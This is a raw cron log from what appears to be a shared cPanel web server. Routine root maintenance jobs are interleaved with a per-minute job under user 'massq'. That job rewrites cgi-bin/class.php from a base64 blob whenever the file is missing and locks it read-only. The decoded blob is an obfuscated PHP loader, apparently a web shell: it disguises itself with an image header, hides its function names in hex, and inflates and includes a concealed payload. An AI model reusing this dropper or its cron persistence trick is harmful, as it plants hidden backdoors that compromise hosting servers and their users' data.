Sep  3 07:53:01 server CROND[9306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:54:01 server CROND[9700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:54:01 server CROND[9701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:54:01 server CROND[9702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:55:01 server CROND[10118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:55:01 server CROND[10119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:55:01 server CROND[10120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:55:01 server CROND[10124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:55:01 server CROND[10121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:55:01 server CROND[10123]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:55:01 server CROND[10122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:56:01 server CROND[10961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:56:01 server CROND[10962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:56:01 server CROND[10969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:57:01 server CROND[11342]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 07:57:01 server CROND[11343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:57:01 server CROND[11344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:57:01 server CROND[11345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:58:01 server CROND[11806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:58:01 server CROND[11807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:58:01 server CROND[11808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:59:01 server CROND[12180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:59:01 server CROND[12181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:59:01 server CROND[12182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:00:01 server CROND[12602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:00:01 server CROND[12604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:00:01 server CROND[12607]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 08:00:01 server CROND[12608]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:00:01 server CROND[12609]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:00:01 server CROND[12613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:00:01 server CROND[12610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:00:01 server CROND[12606]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 08:00:01 server CROND[12611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:00:01 server CROND[12615]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  3 08:00:01 server CROND[12612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:01:01 server CROND[13461]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 08:01:01 server CROND[13462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:01:01 server CROND[13463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:01:01 server CROND[13464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:01:01 server run-parts(/etc/cron.hourly)[13461]: starting 0anacron
Sep  3 08:01:01 server run-parts(/etc/cron.hourly)[13483]: finished 0anacron
Sep  3 08:02:01 server CROND[13840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:02:01 server CROND[13842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:02:01 server CROND[13841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:03:01 server CROND[14320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:03:01 server CROND[14322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:03:01 server CROND[14321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:04:01 server CROND[14687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:04:01 server CROND[14688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:04:01 server CROND[14689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:05:01 server CROND[15073]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
